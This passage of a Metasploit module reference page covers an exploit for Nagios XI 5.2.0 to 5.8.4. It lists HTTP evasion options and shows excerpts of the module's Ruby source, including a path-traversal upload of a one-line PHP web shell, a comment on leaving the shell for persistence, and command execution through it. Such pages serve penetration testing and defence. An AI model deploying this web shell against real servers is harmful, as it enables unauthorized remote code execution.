   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accep
                                                            ted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and versio
                                                            n
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Acce
                                                            pted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes,
                                                            hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Nagios is not fully installed.


Here is a relevant code snippet related to the "Nagios is not fully installed." error message:

100:	    login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
101:	    case login_result
102:	    when 1..3 # An error occurred
103:	      return CheckCode::Unknown(res_array[0])
104:	    when 4
105:	      return CheckCode::Detected('Nagios is not fully installed.')
106:	    when 5
107:	      return CheckCode::Detected('The Nagios license has not been signed.')
108:	    end
109:	
110:	    # res_array[1] cannot be nil since the mixin checks for that already.

The Nagios license has not been signed.


Here is a relevant code snippet related to the "The Nagios license has not been signed." error message:

102:	    when 1..3 # An error occurred
103:	      return CheckCode::Unknown(res_array[0])
104:	    when 4
105:	      return CheckCode::Detected('Nagios is not fully installed.')
106:	    when 5
107:	      return CheckCode::Detected('The Nagios license has not been signed.')
108:	    end
109:	
110:	    # res_array[1] cannot be nil since the mixin checks for that already.
111:	    @auth_cookies = res_array[1]
112:	

Unable to obtain the Nagios XI version from the dashboard


Here is a relevant code snippet related to the "Unable to obtain the Nagios XI version from the dashboard" error message:

110:	    # res_array[1] cannot be nil since the mixin checks for that already.
111:	    @auth_cookies = res_array[1]
112:	
113:	    nagios_version = nagios_xi_version(res_array[0])
114:	    if nagios_version.nil?
115:	      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
116:	    end
117:	
118:	    # affected versions are 5.2.0 -> 5.8.4
119:	    if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120:	       Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')

Determined using the self-reported version: <NAGIOS_VERSION>


Here is a relevant code snippet related to the "Determined using the self-reported version: <NAGIOS_VERSION>" error message:

116:	    end
117:	
118:	    # affected versions are 5.2.0 -> 5.8.4
119:	    if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120:	       Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
121:	      return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
122:	    end
123:	
124:	    CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
125:	  end
126:	

Determined using the self-reported version: <NAGIOS_VERSION>


Here is a relevant code snippet related to the "Determined using the self-reported version: <NAGIOS_VERSION>" error message:

119:	    if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120:	       Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
121:	      return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
122:	    end
123:	
124:	    CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
125:	  end
126:	
127:	  # Using the path traversal, upload a php webshell to the remote target
128:	  def drop_webshell
129:	    autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

135:	      'vars_get' => {
136:	        'mode' => 'newjob'
137:	      }
138:	    })
139:	
140:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
141:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142:	    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:	
144:	    # snag the nsp token from the response
145:	    nsp = get_nsp(res)

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

136:	        'mode' => 'newjob'
137:	      }
138:	    })
139:	
140:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
141:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142:	    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:	
144:	    # snag the nsp token from the response
145:	    nsp = get_nsp(res)
146:	    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?

<title>New Auto-Discovery Job


Here is a relevant code snippet related to the "<title>New Auto-Discovery Job" error message:

137:	      }
138:	    })
139:	
140:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
141:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142:	    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:	
144:	    # snag the nsp token from the response
145:	    nsp = get_nsp(res)
146:	    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
147:	

Failed to obtain the nsp token which is required to upload the web shell


Here is a relevant code snippet related to the "Failed to obtain the nsp token which is required to upload the web shell" error message:

141:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142:	    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:	
144:	    # snag the nsp token from the response
145:	    nsp = get_nsp(res)
146:	    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
147:	
148:	    # drop a basic web shell on the server
149:	    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
150:	    print_status("Uploading webshell to #{webshell_location}")
151:	    php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

164:	        'mode' => 'newjob'
165:	      },
166:	      'data' => payload
167:	    })
168:	
169:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
170:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

165:	      },
166:	      'data' => payload
167:	    })
168:	
169:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
170:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175:	    res = execute_via_webshell("echo #{rand_data}")

Web shell execution did not appear to succeed.


Here is a relevant code snippet related to the "Web shell execution did not appear to succeed." error message:

171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175:	    res = execute_via_webshell("echo #{rand_data}")
176:	    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
177:	    print_good("Web shell installed at #{webshell_location}")
178:	
179:	    # This is a great place to leave a web shell for persistence since it doesn't require auth
180:	    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
181:	    if datastore['DELETE_WEBSHELL']

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

196:	        'mode' => 'deletejob',
197:	        'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
198:	      }
199:	    })
200:	
201:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
202:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
203:	  end
204:	
205:	  # Executes commands via the uploaded webshell
206:	  def execute_via_webshell(cmd)

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

197:	        'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
198:	      }
199:	    })
200:	
201:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
202:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
203:	  end
204:	
205:	  # Executes commands via the uploaded webshell
206:	  def execute_via_webshell(cmd)
207:	    cmd = Rex::Text.uri_encode(cmd)

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

208:	    res = send_request_cgi({
209:	      'method' => 'GET',
210:	      'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
211:	    })
212:	
213:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
214:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
215:	    res
216:	  end
217:	
218:	  def execute_command(cmd, _opts = {})

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

209:	      'method' => 'GET',
210:	      'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
211:	    })
212:	
213:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
214:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
215:	    res
216:	  end
217:	
218:	  def execute_command(cmd, _opts = {})
219:	    execute_via_webshell(cmd)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Claroty Team82
  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.